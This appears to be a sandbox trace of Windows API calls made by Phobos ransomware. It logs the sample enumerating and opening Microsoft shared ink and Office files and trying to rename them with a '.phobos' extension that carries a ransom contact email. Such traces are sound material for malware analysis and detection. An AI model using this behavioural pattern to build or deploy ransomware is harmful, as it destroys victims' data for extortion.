CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.417] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=805) returned 1 [0132.417] CloseHandle (hObject=0x2e8) returned 1 [0132.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0132.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.417] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.418] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=3823) returned 1 [0132.418] CloseHandle (hObject=0x2e8) returned 1 [0132.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0132.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.418] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.418] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=591) returned 1 [0132.418] CloseHandle (hObject=0x2e8) returned 1 [0132.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0132.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.419] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.419] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=46624) returned 1 [0132.419] CloseHandle (hObject=0x2e8) returned 1 [0132.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0132.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.419] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.419] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=498624) returned 1 [0132.419] CloseHandle (hObject=0x2e8) returned 1 [0132.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0132.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.420] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.420] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1100592) returned 1 [0132.420] CloseHandle (hObject=0x2e8) returned 1 [0132.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0132.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.420] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.421] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2515696) returned 1 [0132.421] CloseHandle (hObject=0x2e8) returned 1 [0132.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0132.421] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0132.421] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0132.421] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.421] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=3380096) returned 1 [0132.421] CloseHandle (hObject=0x2e8) returned 1 [0132.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0132.421] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0132.421] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0132.422] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.422] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2418) returned 1 [0132.422] CloseHandle (hObject=0x2e8) returned 1 [0132.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0132.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.423] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.423] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2592) returned 1 [0132.423] CloseHandle (hObject=0x2e8) returned 1 [0132.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0132.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.423] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.423] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2462) returned 1 [0132.424] CloseHandle (hObject=0x2e8) returned 1 [0132.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0132.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.424] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.424] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2436) returned 1 [0132.424] CloseHandle (hObject=0x2e8) returned 1 [0132.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0132.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.424] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.425] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2556) returned 1 [0132.425] CloseHandle (hObject=0x2e8) returned 1 [0132.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0132.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.425] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.425] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2514) returned 1 [0132.425] CloseHandle (hObject=0x2e8) returned 1 [0132.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0132.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.426] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.426] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2616) returned 1 [0132.426] CloseHandle (hObject=0x2e8) returned 1 [0132.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0132.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.426] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.426] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2618) returned 1 [0132.426] CloseHandle (hObject=0x2e8) returned 1 [0132.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0132.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.720] SetEvent (hEvent=0x2b8) returned 1 [0132.721] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0132.722] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1804) returned 1 [0132.722] CloseHandle (hObject=0x30c) returned 1 [0132.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220 [0132.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 